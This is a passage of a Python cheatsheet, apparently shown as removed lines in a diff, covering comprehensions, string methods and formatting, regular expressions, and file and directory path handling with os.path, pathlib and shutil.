-_Return to the Top_
-
-## Comprehensions
-
-### List comprehension
-
-```python
->>> a = [1, 3, 5, 7, 9, 11]
-
->>> [i - 1 for i in a]
-[0, 2, 4, 6, 8, 10]
-```
-
-### Set comprehension
-
-```python
->>> b = {"abc", "def"}
->>> {s.upper() for s in b}
-{"ABC", "DEF"}
-```
-
-### Dict comprehension
-
-```python
->>> c = {'name': 'Pooka', 'age': 5}
->>> {v: k for k, v in c.items()}
-{'Pooka': 'name', 5: 'age'}
-```
-
-A List comprehension can be generated from a dictionary:
-
-```python
->>> c = {'name': 'Pooka', 'first_name': 'Oooka'}
->>> ["{}:{}".format(k.upper(), v.upper()) for k, v in c.items()]
-['NAME:POOKA', 'FIRST_NAME:OOOKA']
-```
-
-## Manipulating Strings
-
-### Escape Characters
-
-| Escape character | Prints as            |
-| ---------------- | -------------------- |
-| `\'`             | Single quote         |
-| `\"`             | Double quote         |
-|                  | Tab                  |
-|                  | Newline (line break) |
-| `\\`             | Backslash            |
-
-Example:
-
-```python
->>> print("Hello there!\nHow are you?\nI\'m doing fine.")
-Hello there!
-How are you?
-I'm doing fine.
-```
-
-_Return to the Top_
-
-### Raw Strings
-
-A raw string completely ignores all escape characters and prints any backslash that appears in the string.
-
-```python
->>> print(r'That is Carol\'s cat.')
-That is Carol\'s cat.
-```
-
-Note: mostly used for regular expression definition (see `re` package)
-
-_Return to the Top_
-
-### Multiline Strings with Triple Quotes
-
-```python
->>> print('''Dear Alice,
->>>
->>> Eve's cat has been arrested for catnapping, cat burglary, and extortion.
->>>
->>> Sincerely,
->>> Bob''')
-Dear Alice,
-
-Eve's cat has been arrested for catnapping, cat burglary, and extortion.
-
-Sincerely,
-Bob
-```
-
-To keep a nicer flow in your code, you can use the `dedent` function from the `textwrap` standard package.
-
-```python
->>> from textwrap import dedent
->>>
->>> def my_function():
->>>     print('''
->>>         Dear Alice,
->>>
->>>         Eve's cat has been arrested for catnapping, cat burglary, and extortion.
->>>
->>>         Sincerely,
->>>         Bob
->>>         ''').strip()
-```
-
-This generates the same string than before.
-
-_Return to the Top_
-
-### Indexing and Slicing Strings
-
-```
-H   e   l   l   o       w   o   r   l   d    !
-0   1   2   3   4   5   6   7   8   9   10   11
-```
-
-```python
->>> spam = 'Hello world!'
-
->>> spam[0]
-'H'
-```
-
-```python
->>> spam[4]
-'o'
-```
-
-```python
->>> spam[-1]
-'!'
-```
-
-Slicing:
-
-```python
->>> spam[0:5]
-'Hello'
-```
-
-```python
->>> spam[:5]
-'Hello'
-```
-
-```python
->>> spam[6:]
-'world!'
-```
-
-```python
->>> spam[6:-1]
-'world'
-```
-
-```python
->>> spam[:-1]
-'Hello world'
-```
-
-```python
->>> spam[::-1]
-'!dlrow olleH'
-```
-
-```python
->>> spam = 'Hello world!'
->>> fizz = spam[0:5]
->>> fizz
-'Hello'
-```
-
-_Return to the Top_
-
-### The in and not in Operators with Strings
-
-```python
->>> 'Hello' in 'Hello World'
-True
-```
-
-```python
->>> 'Hello' in 'Hello'
-True
-```
-
-```python
->>> 'HELLO' in 'Hello World'
-False
-```
-
-```python
->>> '' in 'spam'
-True
-```
-
-```python
->>> 'cats' not in 'cats and dogs'
-False
-```
-
-### The in and not in Operators with list
-
-```python
->>> a = [1, 2, 3, 4]
->>> 5 in a
-False
-```
-
-```python
->>> 2 in a
-True
-```
-
-_Return to the Top_
-
-### The upper(), lower(), isupper(), and islower() String Methods
-
-`upper()` and `lower()`:
-
-```python
->>> spam = 'Hello world!'
->>> spam = spam.upper()
->>> spam
-'HELLO WORLD!'
-```
-
-```python
->>> spam = spam.lower()
->>> spam
-'hello world!'
-```
-
-isupper() and islower():
-
-```python
->>> spam = 'Hello world!'
->>> spam.islower()
-False
-```
-
-```python
->>> spam.isupper()
-False
-```
-
-```python
->>> 'HELLO'.isupper()
-True
-```
-
-```python
->>> 'abc12345'.islower()
-True
-```
-
-```python
->>> '12345'.islower()
-False
-```
-
-```python
->>> '12345'.isupper()
-False
-```
-
-_Return to the Top_
-
-### The isX String Methods
-
--   **isalpha()** returns True if the string consists only of letters and is not blank.
--   **isalnum()** returns True if the string consists only of letters and numbers and is not blank.
--   **isdecimal()** returns True if the string consists only of numeric characters and is not blank.
--   **isspace()** returns True if the string consists only of spaces,tabs, and new-lines and is not blank.
--   **istitle()** returns True if the string consists only of words that begin with an uppercase letter followed by only lowercase letters.
-
-_Return to the Top_
-
-### The startswith() and endswith() String Methods
-
-```python
->>> 'Hello world!'.startswith('Hello')
-True
-```
-
-```python
->>> 'Hello world!'.endswith('world!')
-True
-```
-
-```python
->>> 'abc123'.startswith('abcdef')
-False
-```
-
-```python
->>> 'abc123'.endswith('12')
-False
-```
-
-```python
->>> 'Hello world!'.startswith('Hello world!')
-True
-```
-
-```python
->>> 'Hello world!'.endswith('Hello world!')
-True
-```
-
-_Return to the Top_
-
-### The join() and split() String Methods
-
-join():
-
-```python
->>> ', '.join(['cats', 'rats', 'bats'])
-'cats, rats, bats'
-```
-
-```python
->>> ' '.join(['My', 'name', 'is', 'Simon'])
-'My name is Simon'
-```
-
-```python
->>> 'ABC'.join(['My', 'name', 'is', 'Simon'])
-'MyABCnameABCisABCSimon'
-```
-
-split():
-
-```python
->>> 'My name is Simon'.split()
-['My', 'name', 'is', 'Simon']
-```
-
-```python
->>> 'MyABCnameABCisABCSimon'.split('ABC')
-['My', 'name', 'is', 'Simon']
-```
-
-```python
->>> 'My name is Simon'.split('m')
-['My na', 'e is Si', 'on']
-```
-
-_Return to the Top_
-
-### Justifying Text with rjust(), ljust(), and center()
-
-rjust() and ljust():
-
-```python
->>> 'Hello'.rjust(10)
-'     Hello'
-```
-
-```python
->>> 'Hello'.rjust(20)
-'               Hello'
-```
-
-```python
->>> 'Hello World'.rjust(20)
-'         Hello World'
-```
-
-```python
->>> 'Hello'.ljust(10)
-'Hello     '
-```
-
-An optional second argument to rjust() and ljust() will specify a fill character other than a space character. Enter the following into the interactive shell:
-
-```python
->>> 'Hello'.rjust(20, '*')
-'***************Hello'
-```
-
-```python
->>> 'Hello'.ljust(20, '-')
-'Hello---------------'
-```
-
-center():
-
-```python
->>> 'Hello'.center(20)
-'       Hello       '
-```
-
-```python
->>> 'Hello'.center(20, '=')
-'=======Hello========'
-```
-
-_Return to the Top_
-
-### Removing Whitespace with strip(), rstrip(), and lstrip()
-
-```python
->>> spam = '    Hello World     '
->>> spam.strip()
-'Hello World'
-```
-
-```python
->>> spam.lstrip()
-'Hello World '
-```
-
-```python
->>> spam.rstrip()
-'    Hello World'
-```
-
-```python
->>> spam = 'SpamSpamBaconSpamEggsSpamSpam'
->>> spam.strip('ampS')
-'BaconSpamEggs'
-```
-
-_Return to the Top_
-
-### Copying and Pasting Strings with the pyperclip Module (need pip install)
-
-```python
->>> import pyperclip
-
->>> pyperclip.copy('Hello world!')
-
->>> pyperclip.paste()
-'Hello world!'
-```
-
-_Return to the Top_
-
-## String Formatting
-
-### % operator
-
-```python
->>> name = 'Pete'
->>> 'Hello %s' % name
-"Hello Pete"
-```
-
-We can use the `%x` format specifier to convert an int value to a string:
-
-```python
->>> num = 5
->>> 'I have %x apples' % num
-"I have 5 apples"
-```
-
-Note: For new code, using str.format or f-strings (Python 3.6+) is strongly recommended over the `%` operator.
-
-_Return to the Top_
-
-### String Formatting (str.format)
-
-Python 3 introduced a new way to do string formatting that was later back-ported to Python 2.7. This makes the syntax for string formatting more regular.
-
-```python
->>> name = 'John'
->>> age = 20'
-
->>> "Hello I'm {}, my age is {}".format(name, age)
-"Hello I'm John, my age is 20"
-```
-
-```python
->>> "Hello I'm {0}, my age is {1}".format(name, age)
-"Hello I'm John, my age is 20"
-```
-
-The official [Python 3.x documentation](https://docs.python.org/3/library/stdtypes.html?highlight=sprintf#printf-style-string-formatting) recommend `str.format` over the `%` operator:
-
-> The formatting operations described here exhibit a variety of quirks that lead to a number of common errors (such as failing to display tuples and dictionaries correctly). Using the newer formatted string literals or the str.format() interface helps avoid these errors. These alternatives also provide more powerful, flexible and extensible approaches to formatting text.
-
-_Return to the Top_
-
-### Lazy string formatting
-
-You would only use `%s` string formatting on functions that can do lazy parameters evaluation, the most common being logging:
-
-Prefer:
-
-```python
->>> name = "alice"
->>> logging.debug("User name: %s", name)
-```
-
-Over:
-
-```python
->>> logging.debug("User name: {}".format(name))
-```
-
-Or:
-
-```python
->>> logging.debug("User name: " + name)
-```
-
-_Return to the Top_
-
-### Formatted String Literals or f-strings (Python 3.6+)
-
-```python
->>> name = 'Elizabeth'
->>> f'Hello {name}!'
-'Hello Elizabeth!
-```
-
-It is even possible to do inline arithmetic with it:
-
-```python
->>> a = 5
->>> b = 10
->>> f'Five plus ten is {a + b} and not {2 * (a + b)}.'
-'Five plus ten is 15 and not 30.'
-```
-
-_Return to the Top_
-
-### Template Strings
-
-A simpler and less powerful mechanism, but it is recommended when handling format strings generated by users. Due to their reduced complexity template strings are a safer choice.
-
-```python
->>> from string import Template
->>> name = 'Elizabeth'
->>> t = Template('Hey $name!')
->>> t.substitute(name=name)
-'Hey Elizabeth!'
-```
-
-_Return to the Top_
-
-## Regular Expressions
-
-1. Import the regex module with `import re`.
-2. Create a Regex object with the `re.compile()` function. (Remember to use a raw string.)
-3. Pass the string you want to search into the Regex object's `search()` method. This returns a `Match` object.
-4. Call the Match object's `group()` method to return a string of the actual matched text.
-
-All the regex functions in Python are in the re module:
-
-```python
->>> import re
-```
-
-_Return to the Top_
-
-### Matching Regex Objects
-
-```python
->>> phone_num_regex = re.compile(r'\d\d\d-\d\d\d-\d\d\d\d')
-
->>> mo = phone_num_regex.search('My number is 415-555-4242.')
-
->>> print('Phone number found: {}'.format(mo.group()))
-Phone number found: 415-555-4242
-```
-
-_Return to the Top_
-
-### Grouping with Parentheses
-
-```python
->>> phone_num_regex = re.compile(r'(\d\d\d)-(\d\d\d-\d\d\d\d)')
-
->>> mo = phone_num_regex.search('My number is 415-555-4242.')
-
->>> mo.group(1)
-'415'
-
->>> mo.group(2)
-'555-4242'
-
->>> mo.group(0)
-'415-555-4242'
-
->>> mo.group()
-'415-555-4242'
-```
-
-To retrieve all the groups at once: use the groups() method—note the plural form for the name.
-
-```python
->>> mo.groups()
-('415', '555-4242')
-
->>> area_code, main_number = mo.groups()
-
->>> print(area_code)
-415
-
->>> print(main_number)
-555-4242
-```
-
-_Return to the Top_
-
-### Matching Multiple Groups with the Pipe
-
-The | character is called a pipe. You can use it anywhere you want to match one of many expressions. For example, the regular expression r'Batman|Tina Fey' will match either 'Batman' or 'Tina Fey'.
-
-```python
->>> hero_regex = re.compile (r'Batman|Tina Fey')
-
->>> mo1 = hero_regex.search('Batman and Tina Fey.')
-
->>> mo1.group()
-'Batman'
-
->>> mo2 = hero_regex.search('Tina Fey and Batman.')
-
->>> mo2.group()
-'Tina Fey'
-```
-
-You can also use the pipe to match one of several patterns as part of your regex:
-
-```python
->>> bat_regex = re.compile(r'Bat(man|mobile|copter|bat)')
-
->>> mo = bat_regex.search('Batmobile lost a wheel')
-
->>> mo.group()
-'Batmobile'
-
->>> mo.group(1)
-'mobile'
-```
-
-_Return to the Top_
-
-### Optional Matching with the Question Mark
-
-The ? character flags the group that precedes it as an optional part of the pattern.
-
-```python
->>> bat_regex = re.compile(r'Bat(wo)?man')
->>> mo1 = bat_regex.search('The Adventures of Batman')
->>> mo1.group()
-'Batman'
-
->>> mo2 = bat_regex.search('The Adventures of Batwoman')
->>> mo2.group()
-'Batwoman'
-```
-
-_Return to the Top_
-
-### Matching Zero or More with the Star
-
-The \* (called the star or asterisk) means "match zero or more"—the group that precedes the star can occur any number of times in the text.
-
-```python
->>> bat_regex = re.compile(r'Bat(wo)*man')
->>> mo1 = bat_regex.search('The Adventures of Batman')
->>> mo1.group()
-'Batman'
-
->>> mo2 = bat_regex.search('The Adventures of Batwoman')
->>> mo2.group()
-'Batwoman'
-
->>> mo3 = bat_regex.search('The Adventures of Batwowowowoman')
->>> mo3.group()
-'Batwowowowoman'
-```
-
-_Return to the Top_
-
-### Matching One or More with the Plus
-
-While \* means "match zero or more," the + (or plus) means "match one or more". The group preceding a plus must appear at least once. It is not optional:
-
-```python
->>> bat_regex = re.compile(r'Bat(wo)+man')
->>> mo1 = bat_regex.search('The Adventures of Batwoman')
->>> mo1.group()
-'Batwoman'
-```
-
-```python
->>> mo2 = bat_regex.search('The Adventures of Batwowowowoman')
->>> mo2.group()
-'Batwowowowoman'
-```
-
-```python
->>> mo3 = bat_regex.search('The Adventures of Batman')
->>> mo3 is None
-True
-```
-
-_Return to the Top_
-
-### Matching Specific Repetitions with Curly Brackets
-
-If you have a group that you want to repeat a specific number of times, follow the group in your regex with a number in curly brackets. For example, the regex (Ha){3} will match the string 'HaHaHa', but it will not match 'HaHa', since the latter has only two repeats of the (Ha) group.
-
-Instead of one number, you can specify a range by writing a minimum, a comma, and a maximum in between the curly brackets. For example, the regex (Ha){3,5} will match 'HaHaHa', 'HaHaHaHa', and 'HaHaHaHaHa'.
-
-```python
->>> ha_regex = re.compile(r'(Ha){3}')
->>> mo1 = ha_regex.search('HaHaHa')
->>> mo1.group()
-'HaHaHa'
-```
-
-```python
->>> mo2 = ha_regex.search('Ha')
->>> mo2 is None
-True
-```
-
-_Return to the Top_
-
-### Greedy and Nongreedy Matching
-
-Python's regular expressions are greedy by default, which means that in ambiguous situations they will match the longest string possible. The non-greedy version of the curly brackets, which matches the shortest string possible, has the closing curly bracket followed by a question mark.
-
-```python
->>> greedy_ha_regex = re.compile(r'(Ha){3,5}')
->>> mo1 = greedy_ha_regex.search('HaHaHaHaHa')
->>> mo1.group()
-'HaHaHaHaHa'
-```
-
-```python
->>> nongreedy_ha_regex = re.compile(r'(Ha){3,5}?')
->>> mo2 = nongreedy_ha_regex.search('HaHaHaHaHa')
->>> mo2.group()
-'HaHaHa'
-```
-
-_Return to the Top_
-
-### The findall() Method
-
-In addition to the search() method, Regex objects also have a findall() method. While search() will return a Match object of the first matched text in the searched string, the findall() method will return the strings of every match in the searched string.
-
-```python
->>> phone_num_regex = re.compile(r'\d\d\d-\d\d\d-\d\d\d\d') # has no groups
-
->>> phone_num_regex.findall('Cell: 415-555-9999 Work: 212-555-0000')
-['415-555-9999', '212-555-0000']
-```
-
-To summarize what the findall() method returns, remember the following:
-
--   When called on a regex with no groups, such as \d-\d\d\d-\d\d\d\d, the method findall() returns a list of ng matches, such as \['415-555-9999', '212-555-0000'].
--   When called on a regex that has groups, such as (\d\d\d)-(d\d)-(\d\d\d\d), the method findall() returns a list of es of strings (one string for each group), such as \[('415', '555', '9999'), ('212', '555', '0000')].
-
-_Return to the Top_
-
-### Making Your Own Character Classes
-
-There are times when you want to match a set of characters but the shorthand character classes (\d, \w, \s, and so on) are too broad. You can define your own character class using square brackets. For example, the character class \[aeiouAEIOU] will match any vowel, both lowercase and uppercase.
-
-```python
->>> vowel_regex = re.compile(r'[aeiouAEIOU]')
-
->>> vowel_regex.findall('Robocop eats baby food. BABY FOOD.')
-['o', 'o', 'o', 'e', 'a', 'a', 'o', 'o', 'A', 'O', 'O']
-```
-
-You can also include ranges of letters or numbers by using a hyphen. For example, the character class \[a-zA-Z0-9] will match all lowercase letters, uppercase letters, and numbers.
-
-By placing a caret character (^) just after the character class's opening bracket, you can make a negative character class. A negative character class will match all the characters that are not in the character class. For example, enter the following into the interactive shell:
-
-```python
->>> consonant_regex = re.compile(r'[^aeiouAEIOU]')
-
->>> consonant_regex.findall('Robocop eats baby food. BABY FOOD.')
-['R', 'b', 'c', 'p', ' ', 't', 's', ' ', 'b', 'b', 'y', ' ', 'f', 'd', '.', '
-', 'B', 'B', 'Y', ' ', 'F', 'D', '.']
-```
-
-_Return to the Top_
-
-### The Caret and Dollar Sign Characters
-
--   You can also use the caret symbol (^) at the start of a regex to indicate that a match must occur at the beginning of the searched text.
--   Likewise, you can put a dollar sign ($) at the end of the regex to indicate the string must end with this regex pattern.
--   And you can use the ^ and $ together to indicate that the entire string must match the regex—that is, it's not enough for a match to be made on some subset of the string.
-
-The r'^Hello' regular expression string matches strings that begin with 'Hello':
-
-```python
->>> begins_with_hello = re.compile(r'^Hello')
-
->>> begins_with_hello.search('Hello world!')
-<_sre.SRE_Match object; span=(0, 5), match='Hello'>
-
->>> begins_with_hello.search('He said hello.') is None
-True
-```
-
-The r'\d$' regular expression string matches strings that end with a numeric character from 0 to 9:
-
-```python
->>> whole_string_is_num = re.compile(r'^\d+$')
-
->>> whole_string_is_num.search('1234567890')
-<_sre.SRE_Match object; span=(0, 10), match='1234567890'>
-
->>> whole_string_is_num.search('12345xyz67890') is None
-True
-
->>> whole_string_is_num.search('12 34567890') is None
-True
-```
-
-_Return to the Top_
-
-### The Wildcard Character
-
-The . (or dot) character in a regular expression is called a wildcard and will match any character except for a newline:
-
-```python
->>> at_regex = re.compile(r'.at')
-
->>> at_regex.findall('The cat in the hat sat on the flat mat.')
-['cat', 'hat', 'sat', 'lat', 'mat']
-```
-
-_Return to the Top_
-
-### Matching Everything with Dot-Star
-
-```python
->>> name_regex = re.compile(r'First Name: (.*) Last Name: (.*)')
-
->>> mo = name_regex.search('First Name: Al Last Name: Sweigart')
-
->>> mo.group(1)
-'Al'
-```
-
-```python
->>> mo.group(2)
-'Sweigart'
-```
-
-The dot-star uses greedy mode: It will always try to match as much text as possible. To match any and all text in a nongreedy fashion, use the dot, star, and question mark (.\*?). The question mark tells Python to match in a nongreedy way:
-
-```python
->>> nongreedy_regex = re.compile(r'<.*?>')
->>> mo = nongreedy_regex.search('<To serve man> for dinner.>')
->>> mo.group()
-'<To serve man>'
-```
-
-```python
->>> greedy_regex = re.compile(r'<.*>')
->>> mo = greedy_regex.search('<To serve man> for dinner.>')
->>> mo.group()
-'<To serve man> for dinner.>'
-```
-
-_Return to the Top_
-
-### Matching Newlines with the Dot Character
-
-The dot-star will match everything except a newline. By passing re.DOTALL as the second argument to re.compile(), you can make the dot character match all characters, including the newline character:
-
-```python
->>> no_newline_regex = re.compile('.*')
->>> no_newline_regex.search('Serve the public trust.\nProtect the innocent.\nUphold the law.').group()
-'Serve the public trust.'
-```
-
-```python
->>> newline_regex = re.compile('.*', re.DOTALL)
->>> newline_regex.search('Serve the public trust.\nProtect the innocent.\nUphold the law.').group()
-'Serve the public trust.\nProtect the innocent.\nUphold the law.'
-```
-
-_Return to the Top_
-
-### Review of Regex Symbols
-
-| Symbol                   | Matches                                                |
-| ------------------------ | ------------------------------------------------------ |
-| `?`                      | zero or one of the preceding group.                    |
-| `*`                      | zero or more of the preceding group.                   |
-| `+`                      | one or more of the preceding group.                    |
-| `{n}`                    | exactly n of the preceding group.                      |
-| `{n,}`                   | n or more of the preceding group.                      |
-| `{,m}`                   | 0 to m of the preceding group.                         |
-| `{n,m}`                  | at least n and at most m of the preceding p.           |
-| `{n,m}?` or `*?` or `+?` | performs a nongreedy match of the preceding p.         |
-| `^spam`                  | means the string must begin with spam.                 |
-| `spam$`                  | means the string must end with spam.                   |
-| `.`                      | any character, except newline characters.              |
-| `\d`, `\w`, and `\s`     | a digit, word, or space character, respectively.       |
-| `\D`, `\W`, and `\S`     | anything except a digit, word, or space, respectively. |
-| `[abc]`                  | any character between the brackets (such as a, b, ).   |
-| `[^abc]`                 | any character that isn't between the brackets.         |
-
-_Return to the Top_
-
-### Case-Insensitive Matching
-
-To make your regex case-insensitive, you can pass re.IGNORECASE or re.I as a second argument to re.compile():
-
-```python
->>> robocop = re.compile(r'robocop', re.I)
-
->>> robocop.search('Robocop is part man, part machine, all cop.').group()
-'Robocop'
-```
-
-```python
->>> robocop.search('ROBOCOP protects the innocent.').group()
-'ROBOCOP'
-```
-
-```python
->>> robocop.search('Al, why does your programming book talk about robocop so much?').group()
-'robocop'
-```
-
-_Return to the Top_
-
-### Substituting Strings with the sub() Method
-
-The sub() method for Regex objects is passed two arguments:
-
-1. The first argument is a string to replace any matches.
-2. The second is the string for the regular expression.
-
-The sub() method returns a string with the substitutions applied:
-
-```python
->>> names_regex = re.compile(r'Agent \w+')
-
->>> names_regex.sub('CENSORED', 'Agent Alice gave the secret documents to Agent Bob.')
-'CENSORED gave the secret documents to CENSORED.'
-```
-
-Another example:
-
-```python
->>> agent_names_regex = re.compile(r'Agent (\w)\w*')
-
->>> agent_names_regex.sub(r'\1****', 'Agent Alice told Agent Carol that Agent Eve knew Agent Bob was a double agent.')
-A**** told C**** that E**** knew B**** was a double agent.'
-```
-
-_Return to the Top_
-
-### Managing Complex Regexes
-
-To tell the re.compile() function to ignore whitespace and comments inside the regular expression string, "verbose mode" can be enabled by passing the variable re.VERBOSE as the second argument to re.compile().
-
-Now instead of a hard-to-read regular expression like this:
-
-```python
-phone_regex = re.compile(r'((\d{3}|\(\d{3}\))?(\s|-|\.)?\d{3}(\s|-|\.)\d{4}(\s*(ext|x|ext.)\s*\d{2,5})?)')
-```
-
-you can spread the regular expression over multiple lines with comments like this:
-
-```python
-phone_regex = re.compile(r'''(
-    (\d{3}|\(\d{3}\))?            # area code
-    (\s|-|\.)?                    # separator
-    \d{3}                         # first 3 digits
-    (\s|-|\.)                     # separator
-    \d{4}                         # last 4 digits
-    (\s*(ext|x|ext.)\s*\d{2,5})?  # extension
-    )''', re.VERBOSE)
-```
-
-_Return to the Top_
-
-## Handling File and Directory Paths
-
-There are two main modules in Python that deals with path manipulation. One is the `os.path` module and the other is the `pathlib` module. The `pathlib` module was added in Python 3.4, offering an object-oriented way to handle file system paths.
-
-_Return to the Top_
-
-### Backslash on Windows and Forward Slash on OS X and Linux
-
-On Windows, paths are written using backslashes (`\`) as the separator between folder names. On Unix based operating system such as macOS, Linux, and BSDs, the forward slash (`/`) is used as the path separator. Joining paths can be a headache if your code needs to work on different platforms.
-
-Fortunately, Python provides easy ways to handle this. We will showcase how to deal with this with both `os.path.join` and `pathlib.Path.joinpath`
-
-Using `os.path.join` on Windows:
-
-```python
->>> import os
-
->>> os.path.join('usr', 'bin', 'spam')
-'usr\\bin\\spam'
-```
-
-And using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
-
->>> print(Path('usr').joinpath('bin').joinpath('spam'))
-usr/bin/spam
-```
-
-`pathlib` also provides a shortcut to joinpath using the `/` operator:
-
-```python
->>> from pathlib import Path
-
->>> print(Path('usr') / 'bin' / 'spam')
-usr/bin/spam
-```
-
-Notice the path separator is different between Windows and Unix based operating system, that's why you want to use one of the above methods instead of adding strings together to join paths together.
-
-Joining paths is helpful if you need to create different file paths under the same directory.
-
-Using `os.path.join` on Windows:
-
-```python
->>> my_files = ['accounts.txt', 'details.csv', 'invite.docx']
-
->>> for filename in my_files:
->>>     print(os.path.join('C:\\Users\\asweigart', filename))
-C:\Users\asweigart\accounts.txt
-C:\Users\asweigart\details.csv
-C:\Users\asweigart\invite.docx
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> my_files = ['accounts.txt', 'details.csv', 'invite.docx']
->>> home = Path.home()
->>> for filename in my_files:
->>>     print(home / filename)
-/home/asweigart/accounts.txt
-/home/asweigart/details.csv
-/home/asweigart/invite.docx
-```
-
-_Return to the Top_
-
-### The Current Working Directory
-
-Using `os` on Windows:
-
-```python
->>> import os
-
->>> os.getcwd()
-'C:\\Python34'
->>> os.chdir('C:\\Windows\\System32')
-
->>> os.getcwd()
-'C:\\Windows\\System32'
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> from os import chdir
-
->>> print(Path.cwd())
-/home/asweigart
-
->>> chdir('/usr/lib/python3.6')
->>> print(Path.cwd())
-/usr/lib/python3.6
-```
-
-_Return to the Top_
-
-### Creating New Folders
-
-Using `os` on Windows:
-
-```python
->>> import os
->>> os.makedirs('C:\\delicious\\walnut\\waffles')
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> cwd = Path.cwd()
->>> (cwd / 'delicious' / 'walnut' / 'waffles').mkdir()
-Traceback (most recent call last):
-  File "<stdin>", line 1, in <module>
-  File "/usr/lib/python3.6/pathlib.py", line 1226, in mkdir
-    self._accessor.mkdir(self, mode)
-  File "/usr/lib/python3.6/pathlib.py", line 387, in wrapped
-    return strfunc(str(pathobj), *args)
-FileNotFoundError: [Errno 2] No such file or directory: '/home/asweigart/delicious/walnut/waffles'
-```
-
-Oh no, we got a nasty error! The reason is that the 'delicious' directory does not exist, so we cannot make the 'walnut' and the 'waffles' directories under it. To fix this, do:
-
-```python
->>> from pathlib import Path
->>> cwd = Path.cwd()
->>> (cwd / 'delicious' / 'walnut' / 'waffles').mkdir(parents=True)
-```
-
-And all is good :)
-
-_Return to the Top_
-
-### Absolute vs. Relative Paths
-
-There are two ways to specify a file path.
-
--   An absolute path, which always begins with the root folder
--   A relative path, which is relative to the program's current working directory
-
-There are also the dot (.) and dot-dot (..) folders. These are not real folders but special names that can be used in a path. A single period ("dot") for a folder name is shorthand for "this directory." Two periods ("dot-dot") means "the parent folder."
-
-_Return to the Top_
-
-### Handling Absolute and Relative Paths
-
-To see if a path is an absolute path:
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.isabs('/')
-True
->>> os.path.isabs('..')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> Path('/').is_absolute()
-True
->>> Path('..').is_absolute()
-False
-```
-
-You can extract an absolute path with both `os.path` and `pathlib`
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.getcwd()
-'/home/asweigart'
->>> os.path.abspath('..')
-'/home'
-```
-
-Using `pathlib` on \*nix:
-
-```python
-from pathlib import Path
-print(Path.cwd())
-/home/asweigart
-print(Path('..').resolve())
-/home
-```
-
-You can get a relative path from a starting path to another path.
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.relpath('/etc/passwd', '/')
-'etc/passwd'
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> print(Path('/etc/passwd').relative_to('/'))
-etc/passwd
-```
-
-_Return to the Top_
-
-### Checking Path Validity
-
-Checking if a file/directory exists:
-
-Using `os.path` on \*nix:
-
-```python
-import os
->>> os.path.exists('.')
-True
->>> os.path.exists('setup.py')
-True
->>> os.path.exists('/etc')
-True
->>> os.path.exists('nonexistentfile')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
-from pathlib import Path
->>> Path('.').exists()
-True
->>> Path('setup.py').exists()
-True
->>> Path('/etc').exists()
-True
->>> Path('nonexistentfile').exists()
-False
-```
-
-Checking if a path is a file:
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.isfile('setup.py')
-True
->>> os.path.isfile('/home')
-False
->>> os.path.isfile('nonexistentfile')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> Path('setup.py').is_file()
-True
->>> Path('/home').is_file()
-False
->>> Path('nonexistentfile').is_file()
-False
-```
-
-Checking if a path is a directory:
-
-Using `os.path` on \*nix:
-
-```python
->>> import os
->>> os.path.isdir('/')
-True
->>> os.path.isdir('setup.py')
-False
->>> os.path.isdir('/spam')
-False
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> Path('/').is_dir()
-True
->>> Path('setup.py').is_dir()
-False
->>> Path('/spam').is_dir()
-False
-```
-
-_Return to the Top_
-
-### Finding File Sizes and Folder Contents
-
-Getting a file's size in bytes:
-
-Using `os.path` on Windows:
-
-```python
->>> import os
->>> os.path.getsize('C:\\Windows\\System32\\calc.exe')
-776192
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> stat = Path('/bin/python3.6').stat()
->>> print(stat) # stat contains some other information about the file as well
-os.stat_result(st_mode=33261, st_ino=141087, st_dev=2051, st_nlink=2, st_uid=0,
---snip--
-st_gid=0, st_size=10024, st_atime=1517725562, st_mtime=1515119809, st_ctime=1517261276)
->>> print(stat.st_size) # size in bytes
-10024
-```
-
-Listing directory contents using `os.listdir` on Windows:
-
-```python
->>> import os
->>> os.listdir('C:\\Windows\\System32')
-['0409', '12520437.cpx', '12520850.cpx', '5U877.ax', 'aaclient.dll',
---snip--
-'xwtpdui.dll', 'xwtpw32.dll', 'zh-CN', 'zh-HK', 'zh-TW', 'zipfldr.dll']
-```
-
-Listing directory contents using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> for f in Path('/usr/bin').iterdir():
->>>     print(f)
-...
-/usr/bin/tiff2rgba
-/usr/bin/iconv
-/usr/bin/ldd
-/usr/bin/cache_restore
-/usr/bin/udiskie
-/usr/bin/unix2dos
-/usr/bin/t1reencode
-/usr/bin/epstopdf
-/usr/bin/idle3
-...
-```
-
-To find the total size of all the files in this directory:
-
-**WARNING**: Directories themselves also have a size! So you might want to check for whether a path is a file or directory using the methods in the methods discussed in the above section!
-
-Using `os.path.getsize()` and `os.listdir()` together on Windows:
-
-```python
->>> import os
->>> total_size = 0
-
->>> for filename in os.listdir('C:\\Windows\\System32'):
-      total_size = total_size + os.path.getsize(os.path.join('C:\\Windows\\System32', filename))
-
->>> print(total_size)
-1117846456
-```
-
-Using `pathlib` on \*nix:
-
-```python
->>> from pathlib import Path
->>> total_size = 0
-
->>> for sub_path in Path('/usr/bin').iterdir():
-...     total_size += sub_path.stat().st_size
->>>
->>> print(total_size)
-1903178911
-```
-
-_Return to the Top_
-
-### Copying Files and Folders
-
-The shutil module provides functions for copying files, as well as entire folders.
-
-```python
->>> import shutil, os
-
->>> os.chdir('C:\\')
-
->>> shutil.copy('C:\\spam.txt', 'C:\\delicious')
-   'C:\\delicious\\spam.txt'
-
->>> shutil.copy('eggs.txt', 'C:\\delicious\\eggs2.txt')
-   'C:\\delicious\\eggs2.txt'
-```
-
-While shutil.copy() will copy a single file, shutil.copytree() will copy an entire folder and every folder and file contained in it:
-
-```python
